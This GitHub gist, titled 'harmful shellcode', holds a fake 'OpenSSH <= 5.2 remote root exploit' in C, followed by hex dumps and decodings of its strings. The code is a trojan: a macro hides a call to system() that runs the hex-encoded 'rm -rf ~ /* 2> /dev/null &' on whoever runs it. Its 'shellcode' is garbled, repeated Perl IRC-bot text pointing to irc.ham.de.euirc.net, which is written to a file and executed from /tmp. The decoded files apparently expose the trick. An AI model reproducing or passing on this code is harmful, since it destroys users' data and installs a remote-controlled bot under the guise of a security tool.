-
-
Save dlion/2eb45e2bbe6051f90a21 to your computer and use it in GitHub Desktop.
shellcode dannoso
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* 0pen0wn.c by anti-sec group | |
* --------------------------- | |
* OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT. | |
* | |
* | |
* Takes advantage of an off-by-one | |
* bug in mapped authentication space on system | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <stdarg.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <arpa/inet.h> | |
#include <unistd.h> | |
#include <netdb.h> | |
#define VALID_RANGE 0xb44ffe00 | |
#define build_frem(x,y,a,b,c) a##c##a##x##y##b | |
char jmpcode[] = | |
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f" | |
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"; | |
char shellcode[] = | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" | |
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" | |
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" | |
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" | |
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" | |
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" | |
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22" | |
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" | |
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" | |
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" | |
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" | |
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63" | |
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" | |
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" | |
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" | |
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" | |
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" | |
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" | |
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" | |
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22" | |
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63" | |
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" | |
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" | |
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22" | |
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63" | |
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d" | |
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f" | |
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" | |
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" | |
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" | |
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" | |
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" | |
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" | |
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" | |
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" | |
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"; | |
char fbsd_shellcode[] = | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" | |
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22" | |
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63" | |
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" | |
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" | |
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" | |
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22" | |
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63" | |
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d" | |
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f" | |
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" | |
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" | |
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" | |
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" | |
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" | |
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b" | |
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" | |
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20" | |
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f" | |
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24" | |
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24" | |
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e" | |
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a" | |
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79" | |
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22" | |
"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70" | |
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b" | |
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a"; | |
#define SIZE 0xffffff | |
#define OFFSET 131 | |
#define fremote build_frem(t,e,s,m,y) | |
void usage(char *arg){ | |
printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n"); | |
printf(" Usage: %s -h <host> -p port\n",arg); | |
printf(" Options:\n"); | |
printf(" \t-h ip/host of target\n"); | |
printf(" \t-p port\n"); | |
printf(" \t-d username\n"); | |
printf(" \t-B memory_limit 8/16/64\n\n\n"); | |
} | |
#define FD 0x080518fc | |
#define BD 0x08082000 | |
int main(int argc, char **argv){ | |
FILE *jmpinst; | |
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr; | |
int port=23, limit=8, target=0, sock; | |
struct hostent *host; | |
struct sockaddr_in addr; | |
if (geteuid()) { | |
puts("need root for raw socket, etc..."); | |
return 1; | |
} | |
if(argc < 3){ | |
usage(argv[0]); | |
return 1; | |
} | |
printf("\n [+] 0wn0wn - by anti-sec group\n"); | |
if (!inet_aton(h, &addr.sin_addr)){ | |
host = gethostbyname(h); | |
if (!host){ | |
printf(" [-] Resolving failed\n"); | |
return 1; | |
} | |
addr.sin_addr = *(struct in_addr*)host->h_addr; | |
} | |
sock = socket(PF_INET, SOCK_STREAM, 0); | |
addr.sin_port = htons(port); | |
addr.sin_family = AF_INET; | |
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){ | |
printf(" [-] Connecting failed\n"); | |
return 1; | |
} | |
payload = malloc(limit * 10000); | |
ptr = payload+8; | |
memcpy(ptr,jmpcode,strlen(jmpcode)); | |
jmpinst=fopen(shellcode+793,"w+"); | |
if(jmpinst){ | |
fseek(jmpinst,0,SEEK_SET); | |
fprintf(jmpinst,"%s",shellcode); | |
fclose(jmpinst); | |
} | |
ptr += strlen(jmpcode); | |
if(target != 5 && target != 6){ | |
memcpy(ptr,shellcode,strlen(shellcode)); | |
ptr += strlen(shellcode); | |
memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode)); | |
} | |
else{ | |
memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode)); | |
ptr += strlen(fbsd_shellcode); | |
memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode)); | |
} | |
send(sock,buffer,strlen(buffer),0); | |
send(sock,ptr,3750,0); | |
close(sock); | |
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1) { | |
printf(" [-] connecting failed\n"); | |
} | |
payload[sizeof(payload)-1] = '\0'; | |
payload[sizeof(payload)-2] = '\0'; | |
send(sock,buffer,strlen(buffer),0); | |
send(sock,payload,strlen(payload),0); | |
close(sock); | |
free(payload); | |
addr.sin_port = htons(6666); | |
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) { | |
/* v--- our cool bar that says: "r0000000t!!!" */ | |
printf("\n [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n"); | |
fremote("PS1='sh-3.2#' /bin/sh"); | |
} | |
else | |
printf(" [-] failed to exploit target :-(\n"); | |
close(sock); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
223b0a7768696c6520283c24736f636b | |
6e223b0a202020202020202020202020 | |
203d2266616773223b246e69636b3d22 | |
7068706672223b247365727665723d22 | |
6972632e68616d2e64652e6575697263 | |
2e6e6574223b245349477b5445524d7d | |
223b0a7768696c6520283c24736f636b | |
223b0a7768696c6520283c24736f636b | |
6e223b0a202020202020202020202020 | |
736c65657020313b0a20202020202020 | |
6e223b0a202020202020202020202020 | |
23212f7573722f62696e2f7065726c0a | |
246368616e3d2223636e223b246b6579 | |
203d2266616773223b246e69636b3d22 | |
736c65657020313b0a20202020202020 | |
23212f7573722f62696e2f7065726c0a | |
246368616e3d2223636e223b246b6579 | |
203d2266616773223b246e69636b3d22 | |
7068706672223b247365727665723d22 | |
6972632e68616d2e64652e6575697263 | |
2e6e6574223b245349477b5445524d7d | |
64202b78202f746d702f686920323e2f | |
6465762f6e756c6c3b2f746d702f6869 | |
223b0a7768696c6520283c24736f636b | |
6e223b0a202020202020202020202020 | |
736c65657020313b0a20202020202020 | |
6b5c6e223b7d7d7072696e742024736f | |
636b20224a4f494e20246368616e2024 | |
6b65795c6e223b7768696c6520283c24 | |
736f636b3e297b696620282f5e50494e | |
4720282e2a29242f297b7072696e7420 | |
223b0a7768696c6520283c24736f636b | |
6e223b0a202020202020202020202020 | |
736c65657020313b0a20202020202020 | |
6b5c6e223b7d7d7072696e742024736f | |
636b20224a4f494e20246368616e2024 | |
6b65795c6e223b7768696c6520283c24 | |
736f636b3e297b696620282f5e50494e | |
4720282e2a29242f297b7072696e7420 | |
23212f7573722f62696e2f7065726c0a | |
23212f7573722f62696e2f7065726c0a | |
246368616e3d2223636e223b246b6579 | |
203d2266616773223b246e69636b3d22 | |
7d7d2363686d6f64202b78202f746d70 | |
2f686920323e2f6465762f6e756c6c3b | |
2f746d702f68690a |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"; | |
while (<$sockn"; | |
? ="fags";$nick="phpfr";$server="?irc.ham.de.euirc.net";$SIG{TERM}?"; | |
while (<$sock"; | |
while (<$sock?n"; | |
sleep 1; | |
?n"; | |
#!/usr/bin/perl | |
?$chan="#cn";$key ="fags";$nick="?sleep 1; | |
#!/usr/bin/perl | |
?$chan="#cn";$key ="fags";$nick="?phpfr";$server="irc.ham.de.euirc?.net";$SIG{TERM}d +x /tmp/hi 2>/?dev/null;/tmp/hi"; | |
while (<$sock?n"; | |
sleep 1; | |
?k\n";}}print $sock "JOIN $chan $?key\n";while (<$sock>){if (/^PIN?G (.*)$/){print "; | |
while (<$sock?n"; | |
sleep 1; | |
?k\n";}}print $sock "JOIN $chan $?key\n";while (<$sock>){if (/^PIN?G (.*)$/){print #!/usr/bin/perl | |
?#!/usr/bin/perl | |
$chan="#cn";$key? ="fags";$nick="}}#chmod +x /tmp?/hi 2>/dev/null;/tmp/hi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
23212f7573722f62696e2f7065726c0a246368616e3d2223636e223b0a246b65 | |
223b0a7768696c6520283c24736f636b4720282e2a29242f297b7072696e7420 | |
223b0a7768696c6520283c24736f636b6e223b0a202020202020202020202020 | |
736c65657020313b0a202020202020206b5c6e223b7d7d7072696e742024736f | |
636b20224a4f494e20246368616e20246b65795c6e223b7768696c6520283c24 | |
736f636b3e297b696620282f5e50494e4720282e2a29242f297b7072696e7420 | |
23212f7573722f62696e2f7065726c0a23212f7573722f62696e2f7065726c0a | |
6e223b0a20202020202020202020202023212f7573722f62696e2f7065726c0a | |
246368616e3d2223636e223b246b6579203d2266616773223b246e69636b3d22 | |
7068706672223b247365727665723d224720282e2a29242f297b7072696e7420 | |
223b0a7768696c6520283c24736f636b6e223b0a202020202020202020202020 | |
736c65657020313b0a202020202020206b5c6e223b7d7d7072696e742024736f | |
636b20224a4f494e20246368616e20246b65795c6e223b7768696c6520283c24 | |
736f636b3e297b696620282f5e50494e4720282e2a29242f297b7072696e7420 | |
23212f7573722f62696e2f7065726c0a23212f7573722f62696e2f7065726c0a | |
6972632e68616d2e64652e65756972632e6e6574223b245349477b5445524d7d | |
223b0a7768696c6520283c24736f636b223b0a7768696c6520283c24736f636b | |
6e223b0a202020202020202020202020736c65657020313b0a20202020202020 | |
6e223b0a20202020202020202020202023212f7573722f62696e2f7065726c0a | |
246368616e3d2223636e223b246b6579203d2266616773223b246e69636b3d22 | |
6b5c6e223b7d7d7072696e742024736f636b20224a4f494e20246368616e2024 | |
6b65795c6e223b7768696c6520283c24736f636b3e297b696620282f5e50494e | |
4720282e2a29242f297b7072696e74207068706672223b247365727665723d22 | |
6972632e68616d2e64652e65756972632e6e6574223b245349477b5445524d7d | |
736c65657020313b0a20202020202020736c65657020313b0a20202020202020 | |
223b0a7768696c6520283c24736f636b6e223b0a202020202020202020202020 | |
736c65657020313b0a2020202020202023212f7573722f62696e2f7065726c0a | |
246368616e3d2223636e223b246b6579203d2266616773223b246e69636b3d22 | |
7068706672223b247365727665723d226972632e68616d2e64652e6575697263 | |
2e6e6574223b245349477b5445524d7d64202b78202f746d702f686920323e2f | |
6465762f6e756c6c3b2f746d702f6869223b0a7768696c6520283c24736f636b | |
6e223b0a202020202020202020202020736c65657020313b0a20202020202020 | |
6b5c6e223b7d7d7072696e742024736f636b20224a4f494e20246368616e2024 | |
6b65795c6e223b7768696c6520283c24736f636b3e297b696620282f5e50494e | |
4720282e2a29242f297b7072696e7420223b0a7768696c6520283c24736f636b | |
6e223b0a202020202020202020202020736c65657020313b0a20202020202020 | |
6b5c6e223b7d7d7072696e742024736f636b20224a4f494e20246368616e2024 | |
6b65795c6e223b7768696c6520283c24736f636b3e297b696620282f5e50494e | |
4720282e2a29242f297b7072696e742023212f7573722f62696e2f7065726c0a |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
$chan="#cn"; | |
$ke?"; | |
while (<$sockG (.*)$/){print ?"; | |
while (<$sockn"; | |
?sleep 1; | |
k\n";}}print $so?ck "JOIN $chan $key\n";while (<$?sock>){if (/^PING (.*)$/){print ?#!/usr/bin/perl | |
#!/usr/bin/perl | |
?n"; | |
#!/usr/bin/perl | |
?$chan="#cn";$key ="fags";$nick="?phpfr";$server="G (.*)$/){print ?"; | |
while (<$sockn"; | |
?sleep 1; | |
k\n";}}print $so?ck "JOIN $chan $key\n";while (<$?sock>){if (/^PING (.*)$/){print ?#!/usr/bin/perl | |
#!/usr/bin/perl | |
?irc.ham.de.euirc.net";$SIG{TERM}?"; | |
while (<$sock"; | |
while (<$sock?n"; | |
sleep 1; | |
?n"; | |
#!/usr/bin/perl | |
?$chan="#cn";$key ="fags";$nick="?k\n";}}print $sock "JOIN $chan $?key\n";while (<$sock>){if (/^PIN?G (.*)$/){print phpfr";$server="?irc.ham.de.euirc.net";$SIG{TERM}?sleep 1; | |
sleep 1; | |
?"; | |
while (<$sockn"; | |
?sleep 1; | |
#!/usr/bin/perl | |
?$chan="#cn";$key ="fags";$nick="?phpfr";$server="irc.ham.de.euirc?.net";$SIG{TERM}d +x /tmp/hi 2>/?dev/null;/tmp/hi"; | |
while (<$sock?n"; | |
sleep 1; | |
?k\n";}}print $sock "JOIN $chan $?key\n";while (<$sock>){if (/^PIN?G (.*)$/){print "; | |
while (<$sock?n"; | |
sleep 1; | |
?k\n";}}print $sock "JOIN $chan $?key\n";while (<$sock>){if (/^PIN?G (.*)$/){print #!/usr/bin/perl |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
726D202D7266207e202F2A20323e202f6465762f6e756c6c2026 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rm -rf ~ /* 2> /dev/null & |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment